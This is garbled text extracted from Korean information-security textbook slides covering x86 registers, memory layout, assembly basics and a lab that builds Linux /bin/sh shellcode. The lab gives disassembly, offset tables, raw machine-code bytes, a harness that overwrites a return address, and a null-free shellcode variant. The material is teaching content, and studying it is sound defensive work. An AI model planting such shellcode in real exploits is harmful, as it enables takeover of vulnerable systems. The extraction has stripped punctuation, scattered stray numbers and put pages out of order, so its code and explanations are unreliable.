functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 8: 80×86  시스템에 대한 이해

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

